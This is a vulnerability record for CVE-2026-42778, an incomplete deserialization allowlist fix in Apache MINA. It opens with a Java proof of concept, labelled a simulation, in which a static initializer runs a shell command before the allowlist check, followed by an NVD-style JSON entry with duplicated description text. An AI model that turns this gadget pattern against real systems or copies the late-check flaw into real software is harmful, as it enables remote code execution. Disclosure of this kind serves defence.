CVE-2026-42778

import java.io.*; // Mock malicious class simulating a gadget public class MaliciousPayload implements Serializable { static { try { // This code runs before the allowlist check in vulnerable versions Runtime.getRuntime().exec("touch /tmp/pwned"); System.out.println("[+] Exploit: Static initializer executed!"); } catch (Exception e) { e.printStackTrace(); } } } public class Exploit { public static void main(String[] args) throws Exception { // 1. Create malicious serialized data ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(new MaliciousPayload()); oos.close(); byte[] data = bos.toByteArray(); // 2. Simulate vulnerable IoBuffer.getObject() logic // Vulnerability: Deserialization happens before allowlist check try { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); Object obj = ois.readObject(); // Static block runs HERE // Allowlist check happens too late (after code execution) if (!obj.getClass().getName().equals("allowed.SafeClass")) { throw new SecurityException("Blocked by allowlist"); } } catch (SecurityException e) { System.out.println("[-] Security check failed (but code already ran)"); } } }

{"cve": {"id": "CVE-2026-42778", "sourceIdentifier": "[email protected]", "published": "2026-05-01T11:16:19.383", "lastModified": "2026-05-01T17:55:49.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:\n\n\n\n\nThe fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.\n\n\n\n\nAffected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.\n\n\n\n\nThe problem is resolved in Apache MINA 2.1.12, and 2.2.7 by \napplying the classname allowlist earlier.\n\n\n\n\nAffected are applications using Apache MINA that call IoBuffer.getObject().\n\n\n\n\nApplications using Apache MINA are advised to upgrade\n\n\n\n\n\n\nThe fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.\n\n\n\n\nAffected versions are Apache MINA 2.1.0 <= 2.1.110, and 2.2.0 <= 2.2.6.\n\n\n\n\nThe problem is resolved in Apache MINA 2.1.12, and 2.2.7 by \napplying the classname allowlist earlier.\n\n\n\n\nAffected are applications using Apache MINA that call IoBuffer.getObject().\n\n\n\n\nApplications using Apache MINA are advised to upgrade"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.12", "matchCriteriaId": "BD7E18F5-1CE6-4CD7-8A0D-BD0C2574FF12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.2.7", "matchCriteriaId": "758E989E-5CB0-471C-AADB-43EB3FB95407"}]}]}], "references": [{"url": "https://lists.apache.org/thread/fhlx5k91hrkgyzh7yk1nghrn3k27gxy0", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Vendor Advisory"]}]}}